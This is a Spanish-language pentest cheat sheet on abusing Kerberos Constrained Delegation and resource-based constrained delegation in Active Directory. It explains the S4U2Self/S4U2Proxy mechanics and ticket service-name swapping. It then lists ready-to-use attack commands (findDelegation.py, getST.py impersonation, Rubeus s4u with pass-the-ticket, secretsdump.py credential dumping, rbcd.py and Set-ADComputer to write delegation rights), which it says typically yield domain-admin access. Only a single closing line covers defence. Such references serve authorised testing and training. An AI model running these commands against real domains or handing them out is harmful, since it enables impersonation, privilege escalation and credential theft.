Qué es
El abuso de Constrained Delegation usa las extensiones S4U de Kerberos para suplantar a cualquier usuario ante un servicio. En muchas configuraciones el atacante rompe la restricción de servicio y alcanza más de lo previsto. El resultado suele ser acceso como administrador de dominio en el host de destino.
Cómo funciona
La Constrained Delegation se apoya en dos extensiones de Kerberos.
S4U2Self pide un ticket a nombre de cualquier usuario para el propio servicio.
S4U2Proxy usa ese ticket para pedir uno nuevo hacia un servicio de la lista permitida.
El nombre del servicio dentro del ticket no queda ligado a la clave que lo cifra.
Un ticket para CIFS/<HOST> sirve igual para LDAP/<HOST> porque la clave es la misma.
Así la restricción por servicio se cae y se llega a cualquier servicio del mismo host.
Con transición de protocolo se suplanta a un usuario aunque nunca se haya autenticado.
En RBCD el permiso se escribe en el objeto de destino: quien pueda modificar esa cuenta de equipo configura la delegación por su cuenta.
Comandos
Buscar cuentas con delegación configurada en el dominio:
findDelegation.py -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>Delegación tradicional: suplantar a un usuario objetivo con la cuenta controlada (S4U2Self mas S4U2Proxy):
getST.py -spn CIFS/<HOST> -impersonate <USER> -dc-ip <IP> -hashes :<HASH> <DOMAIN>/<USER>En Windows, con Rubeus, sustituyendo el nombre del servicio en el ticket:
Rubeus.exe s4u /user:<USER> /rc4:<HASH> /impersonateuser:<USER> /msdsspn:CIFS/<HOST> /altservice:LDAP /pttCargar el ticket obtenido y actuar como el usuario suplantado:
export KRB5CCNAME=<FILE>
secretsdump.py -k -no-pass <HOST>RBCD: escribir el atributo de delegación en el equipo de destino desde una cuenta con permiso de escritura:
rbcd.py -delegate-from '<HOST>$' -delegate-to '<HOST>$' -action write -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>Alternativa en Windows para configurar RBCD:
Set-ADComputer <HOST> -PrincipalsAllowedToDelegateToAccount <HOST>$Con el objeto ya configurado, pedir el ticket de suplantación con la cuenta de equipo controlada:
getST.py -spn CIFS/<HOST> -impersonate <USER> -dc-ip <IP> '<DOMAIN>/<HOST>$:<PASSWORD>'Cómo defenderse
Agrega las cuentas sensibles al grupo Usuarios protegidos o márcalas como "no se puede delegar": eso bloquea la suplantación S4U.